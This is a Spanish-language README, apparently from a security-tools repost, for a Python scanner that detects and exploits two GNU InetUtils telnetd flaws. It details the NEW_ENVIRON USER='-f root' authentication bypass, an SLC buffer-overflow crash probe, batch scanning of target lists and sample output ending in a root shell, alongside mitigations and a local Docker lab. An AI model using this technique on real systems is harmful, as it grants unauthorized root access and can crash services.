Escáner de Vulnerabilidades Telnet (CVE-2026-24061 & CVE-2026-32746)

Una herramienta de evaluación de seguridad basada en Python que detecta y (cuando corresponde) explota dos vulnerabilidades críticas en GNU InetUtils telnetd:

• CVE-2026-24061 – Bypass de autenticación mediante inyección de la variable de entorno USER (CVSS 9.8)
• CVE-2026-32746 – Desbordamiento de búfer previo a la autenticación en el manejador SLC de LINEMODE (CVSS 9.8)

Aviso Importante

Esta herramienta es solo para pruebas de seguridad autorizadas y fines educativos.
El uso no autorizado contra sistemas que no posee o para los cuales no tiene permiso explícito para probar es ilegal. Los autores no asumen ninguna responsabilidad por el uso indebido o los daños causados por esta herramienta. Úsela bajo su propio riesgo.

Características

• Escaneo de un solo objetivo – Ingrese direcciones IP o nombres de dominio en tiempo de ejecución
• Escaneo por lotes – Cargue un archivo con múltiples objetivos (uno por línea)
• Pruebas selectivas – Pruebe cualquiera de las vulnerabilidades individualmente o ambas
• Explotación de CVE-2026-24061 – Si es vulnerable, la herramienta lo lleva a un shell interactivo root directamente en la misma terminal
• Detección de CVE-2026-32746 – Identifica sistemas vulnerables mediante detección controlada de fallos
• Manejo limpio de terminal – Shell en modo raw con restauración adecuada al salir
• Validación de conexión – Distingue entre puertos filtrados, servicios fuera de línea y vulnerabilidades reales
• Depuración verbose – Establezca TELNET_SCAN_VERBOSE=1 para ver cada paquete IAC y la narrativa paso a paso de la explotación
• Entorno de laboratorio Docker – Objetivo vulnerable autónomo para pruebas seguras

Instalación

git clone https://github.com/ekomsSavior/telnet_scan.git
cd telnet_scan
chmod +x telnet_scanner.py

Uso

Ejecución Básica

python3 telnet_scanner.py

Laboratorio Docker (Pruebas Seguras)

Pruebe el exploit contra un objetivo vulnerable conocido sin arriesgar sistemas reales:

cd lab
docker compose up -d
cd ..
python3 telnet_scanner.py
# Target: 127.0.0.1, Port: 2323

El laboratorio ejecuta un telnetd vulnerable de GNU InetUtils 2.5 en un contenedor aislado, vinculado solo a localhost. Sin exposición a la red.

Modo Verbose

Depure el handshake de telnet y vea exactamente lo que sucede en la red:

TELNET_SCAN_VERBOSE=1 python3 telnet_scanner.py

La salida verbose muestra:

• Cada comando IAC (DO/WILL/SB) enviado y recibido
• Nombres de opciones telnet decodificados
• Volcados hexadecimales de payload para subnegociaciones
• Flujo de exploit paso a paso (handshake de 6 pasos)

Flujo de Trabajo para un Solo Objetivo

1. Seleccione la opción 1
2. Ingrese el objetivo (IP o dominio, ej., 192.168.1.100 o example.com)
3. Especifique el puerto (por defecto es 23 si se deja vacío)
4. Seleccione el tipo de prueba:
   • 1 – Ambas vulnerabilidades
   • 2 – Solo CVE-2026-24061 (bypass de autenticación)
   • 3 – Solo CVE-2026-32746 (desbordamiento de búfer)

Flujo de Trabajo para Escaneo por Lotes

1. Cree un archivo con objetivos (uno por línea) Ejemplo targets.txt:
   root@kitploit:~

   192.168.1.100
   192.168.1.101
   10.0.0.50
   example.com
   # This is a comment line - ignored
   

2. Seleccione la opción 2
3. Ingrese el nombre del archivo
4. Especifique el puerto (por defecto es 23)
5. Seleccione el tipo de prueba (1, 2 o 3)
6. El escáner hará:
   • Mostrar el progreso de cada objetivo
   • Mostrar los resultados a medida que se completan
   • Proporcionar una tabla resumen al final

Cuando se Obtiene un Shell

Si CVE-2026-24061 tiene éxito:

1. La vulnerabilidad es detectada
2. Aparece un shell interactivo root directamente en la misma ventana de terminal
3. Escriba comandos y vea la salida inmediatamente (ej., id, whoami, ls)
4. Presione Ctrl+C para salir del shell y volver al menú del escáner
5. Para escaneos por lotes, se le preguntará si desea interactuar con el shell o continuar escaneando

No se requiere terminal separada ni pasos adicionales.

Cómo Funciona

CVE-2026-24061 – Bypass de Autenticación

El exploit sigue un handshake telnet preciso de 6 pasos para asegurar la compatibilidad con el telnetd real de GNU InetUtils:

1. Esperar la negociación del servidor – Hasta 15 segundos para DNS inverso y opciones DO iniciales
2. Responder WILL – Reconocer TTYPE, TSPEED, XDISPLOC, NEW_ENVIRON
3. Esperar SB SEND – Solicitudes de subnegociación del servidor
4. Enviar payload del exploit – Establecer USER="-f root" mediante subnegociación NEW_ENVIRON
5. Manejar intercambios restantes – Responder a DO/WILL para SGA, ECHO, LINEMODE, NAWS
6. Detectar shell – Buscar el indicador , o

Un hilo keepalive envía IAC NOP cada 2 segundos para evitar que ttloop() de telnetd detecte EOF y llame a exit(1) antes de que se procese el payload.

El telnetd vulnerable pasa -f root a /usr/bin/login, omitiendo la autenticación y otorgando acceso inmediato al shell root.

CVE-2026-32746 – Detección de Desbordamiento de Búfer

• Negocia la opción LINEMODE (RFC 1184)
• Envía 500+ tripletes SLC (1500+ bytes) para desbordar el búfer de tamaño fijo
• Monitorea reinicios/fallos de conexión para confirmar la vulnerabilidad

Validación de Conexión

• Pre-escanea para verificar la disponibilidad del servicio antes de intentar exploits
• Distingue entre:
  • Puertos filtrados (bloqueo de firewall)
  • Servicios fuera de línea (ningún servicio en ejecución)
  • Servicios vulnerables (exploit exitoso)

Salida de Ejemplo

Un Solo Objetivo

=== Telnet Vulnerability Scanner ===
1. Scan a single target
2. Scan targets from file (one IP/hostname per line)
3. Exit

Choose option: 1
Port (default 23): 

Which tests to run?
1. Both
2. Only CVE-2026-24061 (auth bypass - gives shell if vulnerable)
3. Only CVE-2026-32746 (buffer overflow detection)
Choice [1-3]: 1
Target (IP or domain): 192.168.1.100

[*] Resolved 192.168.1.100 -> 192.168.1.100
[*] Scanning 192.168.1.100:23...

[*] Checking if service is reachable...
[+] Service reachable

[*] Testing CVE-2026-24061 (authentication bypass)...
[!] CVE-2026-24061: VULNERABLE – shell obtained!

============================================================
[+] ROOT SHELL OBTAINED! You are now in an interactive root shell.
[+] Type commands directly here. Press Ctrl+C to exit shell.
============================================================

id
uid=0(root) gid=0(root) groups=0(root)

Salida del Modo Verbose (Parcial)

    [STEP 1/6] Waiting for server negotiation (may take up to 15s)...
    [STEP 1/6] Got 48 bytes: fffb18fffb20fffb23fffb27...
           decoded: IAC DO TERMINAL-TYPE
           decoded: IAC DO TERMINAL-SPEED  
           decoded: IAC DO X-DISPLAY-LOCATION
           decoded: IAC DO NEW-ENVIRON
    [STEP 2/6] Responding WILL to all DO options
    [STEP 3/6] Waiting for SB SEND subnegotiation requests...
    [STEP 4/6] Sending subnegotiation responses...
               NEW-ENVIRON IS VAR USER VALUE "-f root"  *** EXPLOIT ***
    [STEP 5/6] Handling remaining option negotiations...
    [STEP 5/6] Text received: 'root@vuln-lab:~# '
    [RESULT] SUCCESS: Passwordless root login via USER="-f root" injection

Escaneo por Lotes

=== Telnet Vulnerability Scanner ===
1. Scan a single target
2. Scan targets from file (one IP/hostname per line)
3. Exit

Choose option: 2
Port (default 23): 
Enter filename with targets (one per line): targets.txt

Which tests to run?
1. Both
2. Only CVE-2026-24061 (auth bypass - gives shell if vulnerable)
3. Only CVE-2026-32746 (buffer overflow detection)
Choice [1-3]: 1

[*] Loaded 3 targets from targets.txt

==================================================
[1/3] Scanning 192.168.1.100:23
==================================================
[*] Resolved 192.168.1.100 -> 192.168.1.100
[+] Service reachable

[*] Testing CVE-2026-24061...
[!] CVE-2026-24061: VULNERABLE – shell obtained!

[?] Shell obtained! Interact now? (y/N): n

[*] Testing CVE-2026-32746...
[+] Server did not crash; likely not vulnerable

==================================================
[2/3] Scanning 192.168.1.101:23
==================================================
[-] Service not reachable on 192.168.1.101:23

==================================================
[3/3] Scanning example.com:23
==================================================
[*] Resolved example.com -> 93.184.216.34
[+] Service reachable

[*] Testing CVE-2026-24061...
[+] No response received; may still be vulnerable

[*] Testing CVE-2026-32746...
[!] CVE-2026-32746: VULNERABLE (server crashed)

============================================================
SCAN SUMMARY
============================================================
192.168.1.100: VULNERABLE to CVE-2026-24061
192.168.1.101: Service unreachable
example.com: VULNERABLE to CVE-2026-32746
============================================================

Mitigación

Si descubre sistemas vulnerables, aplique estas correcciones:

1. Actualice GNU InetUtils a la versión 2.8 o posterior
2. Deshabilite telnetd y bloquee TCP/23 en los límites de la red
3. Restrinja el acceso solo a redes de confianza
4. Monitoree los registros en busca de conexiones con valores de NEW_ENVIRON USER que comiencen con -f

Desarrollo y Pruebas

Laboratorio Docker

El directorio lab/ incluido proporciona un entorno de prueba seguro y reproducible:

cd lab
docker compose up -d
# Wait ~10 seconds for telnetd to initialize
python3 ../telnet_scanner.py
# Target: 127.0.0.1, Port: 2323

Características del laboratorio:

• GNU InetUtils 2.5 compilado desde el código fuente (versiones vulnerables)
• Ejecuta telnetd dentro de un contenedor aislado
• Vinculado solo a localhost:2323 – seguro para desarrollo
• Incluye un usuario de prueba (labuser:labpass123) para depuración

Detenga el laboratorio cuando haya terminado:

cd lab && docker compose down

Limitaciones Conocidas

• La prueba de desbordamiento (CVE-2026-32746) puede bloquear el servicio telnetd objetivo
• Las teclas de flecha y el redimensionamiento de la terminal no son totalmente compatibles en el shell interactivo
• Algunos firewalls o configuraciones de red pueden interferir con la negociación de opciones de Telnet
• Usuarios de Windows: El shell interactivo requiere una terminal tipo Unix (WSL, Cygwin o Linux/macOS)

Agradecimientos

Agradecimientos especiales a @leetcrypt – El handshake adecuado de 6 pasos, el hilo keepalive, el modo verbose y el laboratorio Docker ¡son una pasada!

DESCARGO DE RESPONSABILIDAD: solo para pruebas de seguridad autorizadas y fines educativos.